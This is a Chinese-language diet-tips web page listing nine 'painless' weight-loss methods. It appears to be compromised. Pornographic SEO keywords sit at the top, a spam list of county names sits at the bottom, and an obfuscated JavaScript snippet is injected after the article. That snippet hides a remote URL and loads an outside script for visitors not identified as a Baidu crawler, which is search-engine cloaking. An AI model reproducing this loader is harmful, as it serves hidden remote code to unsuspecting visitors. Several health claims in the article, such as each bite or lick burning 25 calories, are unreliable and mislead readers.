亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 減肥方法 > 正文

懶女人最愛 9個無痛減肥法

2017-03-12 13:40:10  來源:360常識網(wǎng)   熱度:
導(dǎo)語:要想減輕體重,無須放棄喜愛的食物,重要的是要加以控制。如果偏愛某種食物且食用量大,那就要注意減少每次的分量。建議減肥者在廚房放一個秤,貼一條提示標語,注意提醒自己攝取食品的重量。

很多女性都不愿意做運動,可是又希望自己能保持身材窈窕。今天告訴你9個不用做運動也能輕松瘦下來的無痛苦減肥方法,幫你輕松甩去多余脂肪。想要瘦的MM可千萬不要錯過了哦,趕快來試試吧。

1.增加睡眠時間

增加一個小時的睡眠時間,你可以在不知不覺中減掉14鎊。來自哈佛大學的研究發(fā)現(xiàn),那些只有5個或者少于5個小時的夜間休息時間的女性比擁有7個小時睡眠時間的女性多出30%的發(fā)胖機會。

2.笑一笑

來自翻得比爾特大學的一項研究表明,每天笑10-15分鐘開懷大笑能夠減少40卡路里的熱量。所以各位MM請常備喜劇片。

3.服用魚油丸

散步+服用魚油丸是一個很好的減肥方法。南澳大利亞大學的研究人員發(fā)現(xiàn),那些堅持服用魚油以及每天都堅持散步45分鐘以上的人們,并且維持均衡的飲食,一周可以減少4.4鎊。除此之外,魚油還能促進心臟健康。

4.吃的小動作

現(xiàn)實生活中,人們可能會忽略咬,舔,嚼。在吃飯的時候注意這些,因為每一個動作可以為你消耗25卡路里的熱量。一年下來,他們可能可以讓你減少15磅。

5.學會自己烹調(diào)

有一項研究顯示:外賣中含有的熱量比自己在家烹調(diào)的食物多出60%??赡苁且驗橥赓u所使用的烹飪原料熱量較高,例如,外賣可能用動物油增加食品的香味,而在家你可以使用植物油或者是具有減肥效果的橄欖油。

6.咀嚼

咀嚼口香糖不僅能夠鍛練臉部肌肉,而且研究發(fā)現(xiàn)咀嚼一個小時的口香糖能夠燃燒11卡路里熱量。在烹飪的時候咀嚼口香糖能夠增加飽腹感,減少對甜食的渴望。

7.放松

每天用冥想,瑜伽或者20分鐘的時間去看書寫作,學習怎樣去放松自己。資料顯示,有一個婦女用一年半的時間使用減肥放松療法,在不知不覺中減了10磅。

8.乳制品

多吃低脂乳制品能夠減掉腹部贅肉。每天吃3個乳制品,請注意是低脂的。來自田納西大學的研究顯示,一項6個月的乳制品膳食計劃中,每天吃三個低脂乳制品的實驗組比不食用乳制品實驗組的平均重量少了24磅。所以研究人員懷疑,乳制品能夠促進腹部脂肪的燃燒。

9.餐前小運動

餐前步行20分鐘,身體會不知不覺中消耗一大部分卡路里。餐前運動也包括做家務(wù)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
民乐县| 南涧| 屯昌县| 枣庄市| 新宁县| 望江县| 平顺县| 安国市| 宜君县| 怀化市| 浦东新区| 徐水县| 连平县| 北票市| 安龙县| 庆安县| 长顺县| 鹤岗市| 广汉市| 永吉县| 清远市| 巴塘县| 广灵县| 阳山县| 保山市| 肇东市| 崇阳县| 久治县| 法库县| 竹溪县| 调兵山市| 陆丰市| 湛江市| 安塞县| 高阳县| 昔阳县| 衢州市| 抚远县| 正蓝旗| 梅河口市| 郧西县|